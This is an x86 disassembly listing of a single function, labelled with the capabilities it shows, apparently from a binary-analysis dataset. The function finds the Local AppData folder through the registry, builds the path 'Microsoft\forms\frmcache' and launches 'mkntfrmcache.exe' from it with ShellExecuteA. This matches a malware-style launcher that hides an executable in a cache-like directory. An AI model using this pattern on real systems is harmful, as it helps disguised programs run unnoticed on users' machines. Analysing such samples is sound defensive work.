Function at 0x10005380
Capabilities:
Create process on windows
Get common file path
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x428
push ebx
push ebp
push esi
mov esi, dword [esp + 0x438]
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ebp, ebp
push eax
push 0x20019
push ebp
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
push esi
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], 0x105
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100053e2
lea ecx, [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
push str.Local_AppData
push ecx
call ebx
test eax, eax
je 0x10005444
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100053f9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x10], 0
lea edx, [esp + 0x10]
push edx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push esi
call edi
test eax, eax
jne 0x100055bc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0
push str.Local_AppData
push eax
mov dword [esp + 0x2c], 0x105
call ebx
mov ebp, eax
test ebp, ebp
jne 0x100055ab
cmp dword [esp + 0x18], 2
jne 0x1000548f
lea ecx, [esp + 0x330]
push 0x104
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jbe 0x1000548f
lea edi, [esp + 0x330]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Microsoft_forms_frmcache
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x22c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x1c]
push 0x1000e198
push ecx
push 0x1000e198
push 0x1000de88
lea edx, [esp + 0x134]
push str._s_s_s_s
push edx
call fcn.10005dd0
add esp, 0x18
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esp + 0x22c]
lea ecx, [esp + 0x124]
push 0
push eax
push ecx
push str.mkntfrmcache.exe
push str.open
push 0
call ebx
lea edx, [esp + 0x1c]
push 0x104
push edx
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, str.Local_SettingsApplication_DataMicrosoft_forms_frmcache
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000e198
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x1000e198
push 0x1000de88
lea ecx, [esp + 0x134]
push str._s_s_s_s
push ecx
call fcn.10005dd0
add esp, 0x18
lea edx, [esp + 0x22c]
lea eax, [esp + 0x124]
push 0
push edx
push eax
push str.mkntfrmcache.exe
push str.open
push 0
call ebx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100055ba
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x428
ret